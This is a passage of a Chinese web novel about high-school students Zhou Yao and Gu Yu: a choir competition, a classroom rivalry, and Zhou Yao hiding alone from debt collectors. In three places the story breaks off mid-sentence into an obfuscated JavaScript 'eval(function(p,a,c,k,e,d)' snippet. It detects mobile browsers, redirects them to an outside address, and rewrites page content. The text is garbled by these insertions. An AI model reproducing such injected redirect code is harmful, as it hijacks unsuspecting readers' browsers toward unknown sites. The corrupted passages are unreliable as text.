李铭轩:“喜欢你就追啊。” 蒋煜:“庸俗,这是高洁的欣赏。” 此时边上又有人小声嘀咕:“哎,不觉得葛朗台·周好像变漂亮了吗?” 蒋煜立即反驳:“废话,我们葛朗台·周一直很漂亮,之前不过是金钱掩盖了她的光芒!” 一片低笑声中,顾彧朝独自站在前面的周窈看去。明亮灯光下,只看到少女裸露在外的一截白皙脖颈。想起那天在教室里的触碰,顾彧下意识伸手摸了摸自己的脸颊。 荣子涵按下琴键:“我们再唱一遍!” 领唱的少女甩了甩马尾,站直了身子,清亮的嗓音伴随着琴声响起的瞬间—— “暂停排练!有敌情!” 众人扭头,就见门口有几个别班的人探头探脑,蒋煜一个箭步追出去,那几人就飞似的逃跑了。 边跑边喊:“九班钢伴奏!” 蒋煜气得直跺脚:“MD,情报泄露了啊。” 托这帮“探子”的福,今天的排练到此为止了。 周窈轻咳了两声,拿起水杯灌了一大杯水下去,但即便这样,依旧觉得嗓子干得冒烟,甚至回家的路上,面对顾彧的嘟嘟囔囔,周窈都少见地没有回怼。 顾彧看了她几眼:“你怎么不说话?” 等红灯的间隙,周窈指了指脖子:“嗓子疼。” 一抹担心的神色从顾彧脸上闪过。 周窈发愁:“怎么还不比赛啊,按照荣子涵这操练的频率,我都不一定能撑到比赛那天。” 顾彧一脸感动:“原来为了保住我的清白,周条条老师这么拼命。” 周窈白了他一眼:“唱砸了晾在台上出糗的可是我自己。”简言之,谁管你死活。 回到家,发现陈娟不在,掏出手机看了一眼,才知道陈娟跟人换班了。 望着冷清清的家,周窈叹了口气,最近一个星期她都没怎么见到陈娟,想来她也是在拼命接活赚钱,毕竟马上还款日就要到了…… 简单地给自己弄了晚饭,吃完就去做作业去了。 今天卷子不多,大概三小时就做完了。原本若还有时间,周窈会找些课外习题来刷,不过今天她没有这么做,反而掏出了《茉莉花》的曲谱,小声练起歌来。怕自己嗓子真的哑掉,她只敢喃喃地小声哼唱。 这是她长这么大,第一次站在这么多人面前,受人瞩目,有一种舞台上的灯光突然照射到她的幸运。 “砰砰砰!” 敲门声吓得周窈一激灵,下意识就要去厨房抄菜刀…… “周条条。” 防备的姿态瞬间松懈下来。 打开门,顾彧伸手递进来一个小纸袋子。 “给你的。” 周窈打开一看,里面是一盒喉糖。 “哪来的?” “当然是买来的了。”说完,顾彧又补了一句:“我妈说这个牌子效果好。” 医院副院长认证的,周窈迫不及待要试试,拈起一颗塞进嘴里,果然冰冰凉凉很舒服。 顾彧观察着她的脸色:“我也要一颗。” 周窈拿着喉糖的手微微后撤:“你要来干嘛,你又不出声。” 顾彧:“尝一下不行吗,好歹我买的。” “行行行。”周窈也没多想,直接又拈起一颗直接塞他嘴里。 顾彧也没想到周窈会这么直给,但还是将喉糖吃下,然后红着脸走了。 关门后,周窈才后知后觉地低头看她的手。 刚刚顾彧是不是舔到她手了? / 大合唱排练占据了午休、班会课和自习课,让人苦不堪言,只盼着合唱比赛那天赶紧来,周窈也被这合唱折磨得可以,本来她要刷题补课时间精力就已经很紧张了,别提现在还加上了合唱,更没精力去管李铭轩了。 一片吵闹声中,荣子涵走上讲台。 台下顿时一片哀嚎:“可不能再练了啊子涵,嗓子已经废了!” “再练下去到比赛那天,真就‘听取蛙声一片’了啊……” 荣子涵翻了个白眼:“通知一下,大合唱那天,统一穿夏季校服。” 一中除了是重点中学之外,他们的校服也是一大亮点,男生是白衬衣配深灰色西裤,女生是白衬衣配深灰色百褶裙,很精神很好看,尤其是女生的裙子,有点类似网上流行的JK。甚至别的学校举办什么活动时,还会跑一中来借。 一听不是排练,班里的同学也就不嚷嚷了,穿个校服而已,还是能做到的。 转头,荣子涵又朝周窈嘱咐:“领唱穿白色连衣裙。”说完也不管周窈有没有白色连衣裙,她就头也不回地走了,用行动表明了“这事没得商量”。 这就让周窈犯难了,她确实没有白色连衣裙,她甚至都没有连衣裙。 边上代薇子想了想:“我好像有一条,之前为了给我姐当伴娘买的,你等着,我给我妈发个消息,让她给我送一趟,拿来你试试。” “这太麻烦了吧……” “不会,我妈主业收租,平时在家闲着也是打麻将,不如让她帮我跑跑腿。” 代薇子的妈妈也是神速,下午就把裙子送来了,放学后,周窈正准备做值日,代薇子就将裙子塞进她怀里。 “赶紧试试去。” 周窈有些为难:“要不我回家试吧?” “哎呀你就去厕所换嘛,要是尺寸不合适,一会就可以找个裁缝店给你改了,你再回家试,一来一回多耽误时间,后天就要比赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460800|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了诶。” 周窈想了想,倒也没错,就抱着裙子进了厕所。 此时楼下九班的包干区,顾彧和蒋煜两人拿着扫把扫地,李铭轩则抱着手机蹲在边上打游戏。 蒋煜故作语重心长:“少年,光阴蹉跎啊。” 李铭轩哼笑一声:“要是顾神跟我说这话也就算了,你什么立场什么身份啊,我跟你说,要不是你带我去网吧,网吧长什么样我都不知道。” “我去,网吧这么好地方,你竟然没去过!” “家里都有电脑去网吧干什么?” 蒋煜摇了摇头:“你对网吧的认知还太浅显,没关系,接下来的两年时间里,我会充分带你领略网吧的魅力。” “算了吧。”李铭轩苦笑,“我爸已经把我的‘狗粮’都给断了,每天就发二十块饭钱,我现在连喝个奶茶都要另外找他们要钱,还去网吧呢。” “我去,这么惨啊……莫非你爸妈终于发现你不是他们亲生的了?” “滚!”李铭轩抓了把草向蒋煜扔过来。 “靠!老子刚扫好的地!顾神你看他!” 顾彧走过去,默默把那些杂草扫掉。 李铭轩:“我爸妈找人给我补习,我不愿意,他们就断我的粮。” 蒋煜问:“就是史芬找葛朗台·周那次?” “嗯。”李铭轩点点头。 蒋煜纳闷了:“葛朗台·周虽然冷冷的,但人挺好的,又不会凶你,你干嘛不乐意补习啊?最差就是每天放学在班级里多坐一两小时呗,玩玩手机也就过去了。” “哎……”李铭轩叹了口气,“如果我成绩上去了,我爸妈就要把我送出国了。” 听到小伙伴可能要离开自己,蒋煜突然沉默。青春正好的年纪,谁都希望自己的好友能在身边,一辈子说说笑笑打打闹闹。 “那些学校都要靠成绩单申请,我现在这破成绩,能申请什么学校啊。” “所以你就交白卷啊?” 李铭轩看了蒋煜一眼,没正面回答,只酸溜溜地来了一句:“青春虽美却短暂,美好的人事物很可能第二天睁开眼,就都不见了,所以你们要珍惜我哦。” 蒋煜扬起扫把作势要打:“滚吧你!我现在就好好‘珍惜’‘珍惜’你!” 两人打闹期间,顾彧默默地扫完了一整片包干区,蒋煜倒也识相,溜溜地拎着垃圾桶主动去倒垃圾了。 场地上就只剩顾彧和李铭轩两个人,和手机里传来的游戏音乐。 “没想到你还挺开朗的。”李铭轩突然冲顾彧说道。 顾彧有些疑惑地回头,不明白李铭轩为什么这样说。 “以前在十三班的时候,总觉得你就跟那种雪山之巅的世外高人一样,不问世事,但又拥有别人无法企及的功力,动动手指头就能灭了敌军三十万的那种。” 顾彧垂眸笑了笑:“你小说看多了吧。” “没,我真就这么觉得。”李铭轩一脸认真,“不过转来九班以后又有点烟火气了。说真的,我是因为成绩不好来的九班,你又是为什么?不会是为了周窈吧?” “你怎么会这么想?” “蒋煜那种傻子看不出来,我可是看得很清楚,你对周窈不一样。” 顾彧闻言愣了一下。 李铭轩盯着他看了两秒:“你不会自己没觉察到吧?我刚开始真以为你们俩在瞒着大家谈恋爱。” “什么时候?”顾彧惊讶。 “就那次打篮球和朱鑫纬起冲突,周窈不是帮你说话么,后来还给送你水,你笑得那叫一个灿烂,我还是头一次看你笑得这么开心。于奥琪送了你那么多次东西,你收过吗?” 收过的。顾彧想了想,收过一块巧克力,因为周窈喜欢吃。 “要不是为了周窈,你来九班干什么,一班不香吗?讲真的,就连我都觉得九班这课堂纪律,真TM吵,吵得我都睡不着觉。” 说话间,蒋煜拖着垃圾桶回来了,顾彧和李铭轩也止住了这话茬,拎起扫把回班级去了。 刚走到楼梯口,就看见周窈穿着一身白色连衣裙从走廊另一头过来。 顾彧登时愣在原地。 他的小青梅,此刻真就像一株小茉莉一样,悄悄绽放。 29. PK 周窈几乎没穿过裙子,有些别扭地拉着裙摆,而她面前的代薇子则一脸惊喜:“好看好看,我穿这个白裙子像出殡,你穿倒是很好看。” 远处蒋煜狂奔而来:“哇!葛朗台·周,你这要一鸣惊人啊!” 猛地被人夸漂亮,还未缓过劲来的周窈尚有些羞涩,不知该如何回应,抬头又对上顾彧的视线。 平时总觉得有些不怀好意的狐狸眼,现在倒是好看地睁着,眼尾微微上扬,看上去像是有些惊喜,可嘴角却紧绷着,看不出到底是开心还是不悦。 周窈悄悄撇嘴,懒得去探究他的心情。 隔天,得知情报的于奥琪穿着小礼服闻讯而来,直接把周窈叫了出去。 “听说换成你当主唱了?” “嗯。”周窈也没藏着掖着,大方点头。 于奥琪又从头到脚打量了她一遍,并不很看得上的样子:“也不怎么样嘛,看来这次我们班是赢定了,到时候顾彧就是我男朋友了。” 周窈眼角跳了跳,最近这些小姑娘的把戏也算是让她开了眼界了。 而且顾彧难道是什么战利品吗?能被这样抢来抢去。 正想替顾彧拒绝,荣子涵又过来凑热闹,她扬了扬头一脸得意:“谁说你们就赢定了,我们是钢琴伴奏,你们有吗?” 于奥琪扫了她一眼:“我找你了吗?我跟她说话呢你凑什么热闹。而且钢伴奏是什么厉害的活吗?这是大合唱比赛,又不是钢琴比赛。” 荣子涵不满自己遭到无视,立即反驳:“这是加分项你懂吗?” 周窈不想陷入这修罗场,趁着两人打嘴仗转身就要走,但于奥琪却一把拦住她:“哎,我刚刚说的话你听到没有,我赢了顾彧就归我!” 面对这种小孩子过家家式的的“狠话”,周窈简直无语,刚想说“关我什么事”,余光就看见已经被标成“战利品”的顾彧站在门边看着她,眼神中竟然透露出几分的无助与脆弱…… 明知道这是他惯用的伎俩了,但周窈依旧狠不下心来。 于是她转身望向于奥琪:“如果我们班赢了呢?” “哇呜——”围观人群中爆发出兴奋的呼声。 “葛朗台·周牛逼啊,这是为了校草要和段花打PK啊!” 于奥琪双手环胸,一脸不屑:“就你?” 周窈丝毫不怯:“嗯,就我。如果我们班赢了,你就不能再来打扰顾彧。” “哇吼!这什么美女救英雄的情节啊!” “葛朗台?周,干她!” “赢了我包你一个学期的作业!走现金!” “阿周,咱家校草的清白可就看你的啦!” 见于奥琪没回答,周窈又冷着脸追了一句:“敢不敢?” 这显然不在于奥琪的计划之内,面前的周窈越是冷静坦荡,反而更衬得她有些慌乱,像是被架在那儿,不答应也不是,答应了也不是。 但到底于奥琪还是有些傲气的,于是即便心里没底,还是抬着下巴,抛下一句“有什么不敢的,就这么说定了,咱们明天比赛见!”,说完就拎着她的小礼服跑了。 身后顿时山呼海啸。 周窈转身,对上顾彧含笑的眼睛,心里却气不打一处来。 死狐狸,就会给她找事! 校园里每天不缺新鲜事,周窈和于奥琪要打PK的事一节课的时间就传遍了年级段,因为对象是顾彧,也没人能说什么,大多都抱着看戏的姿态。 自习课下,做了一整节课听力的周窈打着哈欠去倒水,回来就听蒋煜在那穷嚷嚷:“哎哟我们的周将军,你可要誓死守卫顾神的清白啊,决不能让顾神落入于奥琪手里!” 周窈心道这真是赶鸭子上架了,随即朝身后翻了个白眼。 顾彧眼巴巴凑上来,往她刚接完水的杯子里熟练地倒进一包咖啡粉:“请周条条老师务必保住我的清白啊。” 周窈看着渐渐溶解的咖啡,心想还算他识相,于是拍了拍顾彧的肩:“好说好说。” / 比赛在放假的前一天,毕竟是全校性的赛事,除高三外,高一高二下午所有的课都取消,加上即将迎来的长假,学生们兴奋得就跟刚出笼的鸟似的。 吃完中饭周窈就去换了裙子,代薇子还特地弄了个白头花给她戴上。 周窈对着镜子照了两下:“你这是要参加葬礼啊。” 代薇子“切”了一声:“你不懂吧,这叫想要俏,一身孝。”说完,她指挥着周窈在自己面前转了个圈:“啧啧,这真是好一朵小茉莉啊……” 周窈略显无奈:“你知不知道你现在表情跟电视剧里那种老鸨似的。” “你可不就是要去抢男人吗?和于奥琪争抢顾彧的清白。” 想起这茬,周窈只觉得无聊。 代薇子替她理了理裙摆:“所以我说,男人都是大猪蹄子,啥都没干就让两个小姑娘为他打起来了。真输了也没事,就让顾彧自己跟于奥琪说去。” “要不怎么说女生比男生成熟得早呢。”周窈笑着揽过代薇子:“还是你通透。” 代薇子一脸得意:“那是,我可是立志要扛女权大旗的人。” “好好好,扛大旗,理综没及格也能扛旗吗?” “你把裙子给我脱下来!” “哈哈哈哈哈哈!” 合唱比赛在学校那个破体育馆进行,座位有限,各班自己搬椅子按照队形入座。 和其他同学一样,周窈也搬起自己的椅子往体育馆走。但走路的时候椅子总把她的裙摆蹭起来,导致她走两步就要停下来拉一下裙子,很是麻烦。 她忍不住跟代薇子抱怨了几句:“穿裙子真是麻烦,为什么领唱就一定要穿裙子啊……” 代薇子指了下前面的荣子涵:“你这已经算素的了,你看咱们家子涵的蓬蓬裙,不知道的以为她要上□□唱《Letitgo》呢。” 说话间,裙摆又被蹭起来了,周窈不得不再次停下来,伸手去拉裙子。 刚刚整理好裙摆,面前却笼罩下一道人影,一抬头,就看见顾彧站在她面前,开始脱衣服。 周窈震惊,不由得伸手抵住他的胸口:“你干嘛?!” 顾彧却不答,只抖开自己的校服外套,拽着两只袖子,将它系在周窈腰间。 宽大的外套直接遮住了她的下半身,就算裙摆被蹭起来也不担心走光了。 讶异于顾彧的贴心,周窈不免微微长大了嘴巴。 顾彧看她一副傻愣愣的样,拍了拍她的头:“挡着点。” 说完,他一手一把椅子,拎着就走了,走时还不忘瞪了一眼周围偷瞄的男生。 周窈看着他的背影,突然觉得眼前的顾彧有些陌生,好像突然成熟了许多。 她轻轻抚了下胸口,胸腔内的心脏,噗通乱跳。 …… 等各班落座,校长致辞后,迎国庆合唱比赛正式开始。荣子涵手气还不错,抽了个靠后的位置,然而周窈却巴不得“早死早超生”,一个多小时下来整个人心神不宁,手总是不自主地揪着盖在腿上的顾彧的校服。 但好在其他班级唱得也都普普通通,顺序靠前的几个班里,只有一班唱的《我和我的祖国》让人眼前一亮,前半段女声领唱温婉悠扬,后半合唱段气势磅礴,不愧是尖子班,学习好的同时唱歌竟然也不错。 十三班刚好在九班前面出场,于奥琪一站上去,还朝着顾彧方向比了个心,台下顿时又一阵沸腾,甚至还有人吹口哨,闹得老黄都站出来维持秩序。 她们班唱的是《走进新时代》,刚开始还不错,但女声领唱部分,于奥琪不知是不是过于紧张,一个高音竟然唱劈叉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周窈倒是无所谓,只要赢了于奥琪,只要没出糗,她就算完成任务了,但其他同学不这么想,又或许是长久以来觉得学校对一班二班这种尖子班区别对待,新仇旧恨一起爆发,嚷嚷“有黑幕”都被前排学校领导听见了,频频回头查看。 台上黄主任让获奖班级派代表上台领奖,荣子涵正要上台,可班级里的同学都嚷着“拒绝领奖”,她便只能僵在那,一时也不知道这事该怎么办了。 最后还得是靠史芬一声怒吼,这事才消停下来。 忙乎了一个多星期的合唱比赛只用了两个多小时就结束了,各班继续搬着椅子回教室。 蒋煜他们没走,还在那骂骂咧咧什么“大黄鱼煞笔”“史芬替学校压制他们质疑的声音”“尖子班特权”啥的。周窈看着他们愤愤不平的样,倒也觉得挺有趣的,一边听一边挤进人堆准备回教室。 偏偏有人逆着人流过来,周窈干脆站在原地等他。 “多谢周老师替我守住了清白……” 周窈扬了扬眉毛:“好说好说。”随即指了一下自己的椅子:“帮我搬回去吧。” “嗻。” 顾彧拎起椅子刚要走,扭头又扫到周窈挂在手肘上的校服外套,便自然而然地接过来将它系在周窈腰间。 一道白光闪过,两人扭头看去,就见代薇子正在摆弄着自己的手机和一根自拍杆。 “咱们来拍个照吧!难得我们葛朗台?周还穿了裙子,而且咱们也拿了第一。” “拍什么拍,就一双黄蛋,有什么好值得庆祝的。”蒋煜老不乐意的。 代薇子眼睛一瞪:“啧,快点!还要我去请你啊?” 在她的吆喝下,还在生气暴怒的蒋煜也被李铭轩拽了过来,五个人凑在镜头前…… “一,二,三!” 照片定格瞬间,代薇子嘟嘴比耶,李铭轩一如既往无表情扮酷,蒋煜还在为双黄蛋的事生气,脸色涨红,而周窈和顾彧则一前一后站着,笑得灿烂。 30. 一唱成名 拍完照回教室,路上女孩们三三两两,男生们三五成群。 代薇子蹭在周窈边上,给她看自己刚刚“偷拍”的照片,正是刚刚顾彧帮她系校服那一幕。 “看不出来校草还怪体贴的哦,还怕你走光,不过一般这种事不都是男朋友做的吗?” 周窈耳廓微红,但还是故作正经:“你想啥呢。” “我啥都没想!”代薇子举起双手自证“清白”:“人家校草也不是给我披衣服……” 周窈抬头看了眼顾彧的背影,莫名想起那天傍晚在教室里堪堪擦过的触碰,心里像有小虫在爬,痒痒的。她也不知道这是一种什么感觉,前所未有的陌生。 “哎!茉莉花!” 边上突然一声高喊,代薇子推了推她:“好像是你叫你。” 周窈陡然回神循声看去,是一群有些眼熟但不认识的男生。他们推搡着其中一个看似腼腆的男生朝周窈大喊:“他喜欢你,说你好漂亮。” 周窈一时惊讶,不知该作何回应,只磕磕绊绊说了声“谢谢”。显然那个男生比她更尴尬,扭头躲在自己朋友身后,便推着人迅速离开了。 代薇子凑过来:“哟——咱们葛朗台?周一唱成名了啊!” 而在两人没看见的地方,顾彧却不知道为何沉了脸,拎起自己和周窈的两把椅子,头也不回地走得飞快。 “不过这些人还是无法和顾彧比。”代薇子望着前方的背影一脸遗憾地说道,“虽然我已经对顾彧路转黑了,但不得不说他还是有点东西。” “嗯?什么意思?”周窈不解。 代薇子看着她,伸手点了点她的眉心:“因为他才是第一个说你很漂亮的人啊。” 周窈愣了一下,记忆往前翻,那次于奥琪来找她麻烦时,顾彧好像是这么说过。那还是她人生中第一次听到有人夸她漂亮。 “就那次去密室啊,他不是怼那个羊毛卷来着么,说对方没你漂亮。那会我觉得他还挺有男子气概,反观蒋煜,傻愣愣的啥也不懂。” 周窈闻言微怔。 原来他还说了那么多次? “哎你头花呢?” 周窈伸手一摸,原本扎着头花的马尾辫上空空荡荡。 “可能让我给搞掉了,我回去找吧。” “别了别了。”代薇子拉住她:“里面都收拾了,乱糟糟一片,这东西又不贵,两三块钱而已……” 但周窈坚持,毕竟是代薇子借给她的:“没事,我回去看一眼,万一还在呢。” 等周窈折返体育馆,场馆里的人也都走的差不多了。她低头在地上找了一圈了,终于在角落的一堆垃圾里翻到了她掉落的头花,只不过原本白色的头花此时已经变成了黑灰色。 想着回去洗干净再还给代薇子,抬头就看见于奥琪对着墙偷偷哭。 有点尴尬,周窈决定偷偷溜走。 “你很得意吧。” 带着哭腔的声音在身后响起,周窈转过头去,就见于奥琪红着眼望着自己,瞬间有一种逃跑被抓包的窘迫。 “也还好……”周窈紧紧拽着手里的头花,想了想又觉得自己现在说这个不太合适:“那个,你先哭,我先回去了。” “你哪只眼睛看到我哭了!” 周窈诧异:“自然是两只眼睛都看了。” 不知是出于怎样的心态,反正于奥琪哭得更大声了。 周窈进退不是,一方面觉得于奥琪哭得自己很烦,一方面又能理解她觉得丢人的心情,挠了挠头,最后还是选择安慰她两句:“其实也没什么,你看我们九班和一班闹了一通,现在谁还记得你唱呲了?” 于奥琪果然不哭了,她吸了吸鼻子:“真的吗?” 周窈:“新闻播音员还嘴瓢呢,全国上下十四亿人都看到了,不是更丢脸,但人家也就罚五十块的事。”她想了想:“大不了你也罚自己五十块好了。”毕竟在周窈的字典里,没有什么事不能靠钱解决的,但于奥琪似乎从没想过事情还有这种解决方案,一时间只呆愣在原地。周窈见她不哭了,也就转身走了。 回到教室,一进门就对上顾彧的眼神。 “怎么去这么久?遇上什么人了?” 这话似意有所指,但周窈压根没听懂。 她哼都懒得哼一声,心想着我还不是帮你善后去?转而拿出头花给代薇子看了一眼:“弄脏了,我洗干净再还你吧。” “都行。”代薇子无所谓地挥挥手,随后起身凑近在她耳边悄声道:“就这么一小会,顾校草问了我八次你干嘛去了,他这到底是在看邻居还是看女朋友啊?” 闻言,周窈又瞄了一眼顾彧,他正好好坐在位置上看书呢,只不过半天书都没翻一页,倒是狐狸眼耷拉着,不怎么高兴的样子。 周窈捉摸不透这人的心思,也被他的态度弄得有些恼了,便不再管他,径自去厕所换衣服去了。 临近放学,厕所里人还不少,因为明天就是国庆长假,小姑娘们都在叽叽喳喳讨论去哪玩,或者约着一起追什么剧,磕什么CP,还有要约着一起去外地看演唱会,去迪士尼的。 当然这些都跟周窈无关。 她没时间,更没钱。 看着镜子里穿回校服的自己,普普通通,好像丢进人群里就会瞬间消失,而那束照射在她身上的追光也似乎到了时限,她又恢复到了那个灰扑扑的小孩。 但毕竟平凡和普通才是人生中的常态吧。 不过事实也非全然如此。 合唱比赛的余温还未散尽,还是有许多人认出了她就是九班主唱,投射在她身上的视线也多了起来。 周窈到底不是顾彧这种天生就受人瞩目的人,难以习惯被人关注的感觉,只得避开人群一路低着头回教室,刚进门就听见大嗓门蒋煜在那嚷嚷:“卧槽,十三班于奥琪说她唱坏了,请他们全班喝奶茶,厉害了,这样看起来,还不如——” 话未说完,周窈回到位置坐下,回到自己熟悉的“领地”,整个人瞬间畅快起来,怼人也更加轻松:“就算我全程跑调也休想让我请客。” “哈哈哈哈!不愧是你葛朗台·周!” 没一会,于奥琪又找了过来。 窗边上的同学以为她又是来找顾彧的,张嘴就要喊,却没想到于奥琪要找的是周窈。 “周!你的情敌找你来了!” “不会是输了不服气,要重新比吧?!” 隔着窗户,于奥琪将手里的奶茶递给周窈,神情有些不太情愿但还算坦荡,想来也是做足了一番心理建设。“刚刚谢谢你,这杯奶茶我请你喝。还有,我会说到做到,祝你和顾彧天长地久、百年好合!” 刚接过奶茶的手突然僵在半空中——这成语不是这么用的吧?! “我跟他没——” 可话还没说完,于奥琪就跑没影了。 周窈捧着手里的冰奶茶,活像是捧了一手的烫手山芋。 蒋煜一脸兴奋:“阿周你了不起啊,让你打败敌人,你竟然把敌人策反了,牛逼!那你追到顾神岂不只是时间问题?!” 周窈都懒得回应了,向来爱吃“白食”的她看着眼前这杯奶茶,仿佛它不再是一杯普普通通的奶茶,而是她和顾彧的合衾酒!于是干脆随手把奶茶往顾彧桌上一放。 顾彧歪着头不解地看她。 周窈:“你喝吧,就当是你和于奥琪的忘情水了。” 却没想到嗜甜的顾彧,今天却反常地把奶茶往反方向一推。 “我不喝。”说完嘴角还向下一撇。 周窈这会是看出来了,他在不高兴,而原因不知。 “你又在闹什么脾气?” “我——”顾彧一时语塞,怏怏地趴在桌上不说话,手指拨弄着奶茶的吸管。 其实他也不知道自己为什么不高兴,之前都还好好的,但是看到有人说周窈“漂亮”,他心里就发堵。 原本他们的世界挺小的,两个人钻在里面刚刚好,一旦这个小世界向外扩张,他突然就不安了起来,有一种失控感。 他不喜欢失控。 周窈盯着他看了几秒,“啪”得一声将吸管插进杯子里,然后递到顾彧嘴边。 “快喝,这是朕好不容易为你赢来的奶茶。” “噗——”胸口膨胀的气球突然被戳破,顾彧莫名笑出声来。 周窈这才算松了口气,把奶茶塞进他手里:“多大人了,还要人哄。” 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460802|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彧嘬着吸管喝了两口,看着小青梅已经转过去的后背。 自己应该还在她的世界里吧,只要还在她的世界里就行。 …… 小插曲告一段落,蒋煜又开始计划国庆的游玩活动了。 “我哥开了一家旱冰馆,十一要不要去玩?刚开没多久,也没多少人,溜起来超爽!更重要的是,报我名字打八折!” 边上倚在桌边刷手机的李铭轩幽幽来一句:“你到底有几个好哥哥啊?” “你管我几个哥哥呢!我家人丁兴旺不行啊!” 代薇子向来爱凑热闹,头一个就答应了,末了还问了下周窈:“你去不去?” 周窈低头专心研究顾彧刚给她解出来的题:“我去不了,十一我要去外婆家。” “你外婆家在哪啊?” “昌里。” “哦……那确实挺远的。” “嗯。”周窈低头继续做题,后边的顾彧却抬头看了她一眼。 蒋煜的眼神在两人之间来回扫视:“得,阿周不去顾神肯定也不会去了,那就剩咱们仨了。” 对此,顾彧没有否认。 结果边上李铭轩又补了一句:“我家里有事,也去不了。” 代薇子觉得没趣:“你们都不去那我也不去了。” 蒋煜失望地垂下肩膀:“行吧,那么今日一别,只有七日后再见了。” 回去的路上,顾彧问周窈:“你去外婆家几天?” 周窈想了想:“没定呢,我外婆种的桃子快到采收的时间了,我得给她帮忙。”转念又问:“你不去海市吗?” 顾彧:“我妈带队出去学习了,好像要十月中下旬才回来。”说着,他长叹了一口气,扁了扁嘴:“真可怜,你都不在的话我真成留守儿童了……”说完又可怜巴巴地补充:“你去了昌里之后,能拍照或者视频给我看吗?我都没去过,听说那边生态特别好。当然,如果你能带我一起去就更好了……” “想什么呢。”周窈笑道,随即想起自己外婆家的情况,她又沉默了。 本来带着同学去家里玩也没有什么,昌里虽然是乡下,但有漫山遍野的果树,山间有小溪,有很多城市里见不到的漂亮鸟类,她外婆家又是自建楼,房间也多,但是…… 说起来又得怪周建民。 顾彧见周窈脸色又沉下去了,便很有眼色地止住了话茬,两人一路沉默地回到了家。 推开家门,就看见陈娟在那进进出出地忙碌,客厅地上放了一个旅行袋。 周窈一脸疑惑:“你今天不是晚班吗?” 陈娟忙得头都不抬,整了两件衣服就往旅行袋里装,面色虽疲惫但带着笑容,好像看到了什么希望似的,说话的语调也十分轻快:“我要去一趟宁市,有人跟我说在宁市见过你爸爸,刚好妈妈认识的那个赵叔叔晚上要开车去宁市送货,就把我顺道捎上了,不然这个时间,哪还能买到票啊!” 果然。 周窈也不说别的,打开冰箱拿出最后的六个鸡蛋,煮熟了过了凉水装在保鲜袋里塞进陈娟的包中,行为熟练得不像是第一次。 陈娟飞快地整理好了行李就要出门,又想起了什么,回头嘱咐周窈:“明天去一趟你外婆家别忘了,正好你也出去躲躲,十一这七天就不要回来了。” 听陈娟这么说,周窈就知道她这个月又没还债。明明陈娟几乎天天都在医院里干活,明明她也几乎从不伸手问陈娟要钱,但她就是不知道,那些钱都去哪了。 没等周窈回复,陈娟就迫不及待地出门了。 大门关上,一室沉默。 在原地站了一会之后,周窈肚子响了。她打开冰箱,只找到一碗剩饭,顾彧家的冰箱里好歹还有几瓶饮料呢,她家的冰箱竟然空空荡荡。 正想着该弄点什么对付一下晚饭,手机就震了起来。 【顾^^彧:[图片.jpg]】 【顾^^彧:好可怜啊我,晚上只能吃泡面了。】 周窈仔细一看,心里的火腾得就烧起来了。 【不是葛朗台是世界首富:滚吧,你这泡面还是进口的,一盒十八块!】 顾彧:…… 完蛋,卖惨秒变炫富。 31. 凡尔赛 晚上周窈正在家里收拾东西,准备明天一早去外婆家。 “砰砰砰!”外面有人捶门。 “陈娟!开门!我可警告你们,躲得过初一躲不过十五啊!开门!快点!” 周窈背脊一紧,迅速关掉家里的所有灯,然后去厨房抄起菜刀。 周窈猜到陈娟这个月又没还钱,也预计到讨债的会上门了,只是今天明明没到还款日…… 啊,周窈突然想起,明天国庆啊。所以讨债的国庆也放假吗? 突然觉得有些黑色幽默了。 周窈握着菜刀蹲坐在门后,不觉苦笑。 门外,四哥和瘦猴说话的声音传进来:“刚才看着还有灯光,这会怎么全黑了?没人?” “这都没看出来?躲咱们呢。这小丫头片子机灵得很,肯定在里面。”说着,四哥踹了几脚大门,力道重得恐怕都得把门踹出几个凹痕出来。 背脊感受到门板的震动,周窈紧握着手里的刀,每一次呼吸都小心翼翼。 偏偏这个时候,口袋里的手机突然连着震了几下,周窈赶紧掏出手机点开,生怕这微弱的震动声会引起外面两人的注意。 【顾^^彧:你明天几点走啊?我这里有几瓶钙片,可以带给你外婆,我现在送过来?】 【顾^^彧:你在家吗?还是睡了?房间灯怎么没亮着?】 【顾^^彧:真睡了?不会吧,这才几点啊……】 “快开门啊!再不开我直接砸门了啊!以为躲在里面就没事了是吧!” 周窈吓得抖了几下,颤着手迅速回复:“别来,千万八来!”着急忙慌之下,她甚至连错别字都顾不上修改。 可是接下来该怎么办呢?冲出去,被打一顿,还是报警?如果她现在报警,外面会听到吗?万一换来更猛烈的报复怎么办? 各种想法在她脑海里打架,就算平时淡定如她,此刻也慌了神,也更为清晰地意识到,即便陈娟看上去也扛不住什么事,但妈妈在的时候,自己好歹还有个屋檐可以躲。 下意识的,她就想给陈娟打电话,可这个念头刚冒出来就止住了。即便现在找陈娟,能改变什么呢?她在宁市苦寻周建民呢,也回不来,还白白让她担心。 “咚!咚!” 周窈浑身一激灵,起身向自己房间窗户看去,拉得严严实实的窗帘上,似有什么东西在晃动。 